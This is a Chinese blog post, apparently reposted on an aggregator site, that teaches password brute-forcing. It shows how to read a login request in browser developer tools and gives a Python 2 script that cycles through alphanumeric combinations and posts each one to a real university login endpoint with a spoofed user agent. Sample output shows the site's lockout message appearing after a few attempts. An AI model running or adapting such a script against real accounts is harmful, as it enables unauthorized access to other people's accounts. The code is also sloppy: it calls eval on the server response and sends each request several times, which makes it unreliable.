準(zhǔn)備

忘記了密碼？試一試暴力破解吧

打開F12，填寫用戶名、密碼后，點擊登錄，看到請求頭信息、提交的表單信息，例如下圖：

也可以看到此次登錄請求發(fā)送到的 url：

也可以看到此次請求返回的結(jié)果：

遍歷數(shù)字字母組合密碼

根據(jù)以上，可以用Python偽造請求，遍歷所有密碼（注意多數(shù)網(wǎng)站會有嘗試次數(shù)限制…）
（以下代碼遍歷的是所有不重復(fù)的字符組合，比如不會嘗試111222這樣的密碼，此處待改進）

# -*- coding: utf-8 -*- import cookielib import urllib import urllib2 from itertools import combinationsUSERNAME = '這里填寫用戶名'def submit_form(username, password):cj = cookielib.CookieJar()# 模擬 post 的表單數(shù)據(jù)post_data = urllib.urlencode({'username': username, 'password': password})# 登錄請求發(fā)送到的 urlpath = 'https://itsapp.bjut.edu.cn/uc/wap/login/check'opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')]urllib2.install_opener(opener)req = urllib2.Request(path, post_data)conn = urllib2.urlopen(req)json_data = urllib2.urlopen(req).read()json_last = eval(json_data)print urllib2.urlopen(req).read()result_code = json_last["e"]if result_code == 0:print ('破解成功！密碼是：' + password)else:print ('密碼錯誤，當(dāng)前測試：' + password)def gen_password():list1 = ['1', '2', '3', '4', '5', '6', '7', '8', '9','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n','o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']for i in range(6, len(list1)): # 6位以上不重復(fù)字符密碼組合combine(list1, i)def combine(temp_list, n):'''根據(jù)n獲得列表中的所有可能組合（n個元素為一組）'''# temp_list2 = []for c in combinations(temp_list, n):pwd_str = ''.join(c)print pwd_strsubmit_form(USERNAME, pwd_str)if __name__ == "__main__":gen_password()

輸出結(jié)果：

123456 {"e":1,"m":"賬號或密碼錯誤","d":{}} 密碼錯誤，當(dāng)前測試：123456 123457 {"e":1,"m":"賬號或密碼錯誤","d":{}} 密碼錯誤，當(dāng)前測試：123457 123458 {"e":10016,"m":"錯誤次數(shù)已達最大上限,請稍后再試","d":{}} 密碼錯誤，當(dāng)前測試：123458 123459 {"e":10016,"m":"錯誤次數(shù)已達最大上限,請稍后再試","d":{}} 密碼錯誤，當(dāng)前測試：123459 12345a {"e":10016,"m":"錯誤次數(shù)已達最大上限,請稍后再試","d":{}} 密碼錯誤，當(dāng)前測試：12345a 12345b

嘗試的密碼組合示例如下：

123456 123457 123458 123459 12345a 12345b 12345c 12345d 12345e 12345f 12345g 12345h 12345i 12345j 12345k 12345l 12345m 12345n 12345o 12345p 12345q 12345r 12345s ...

總結(jié)

以上是生活随笔為你收集整理的【Python】忘记登录密码？遍历数字字母组合密码+模拟提交表单的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。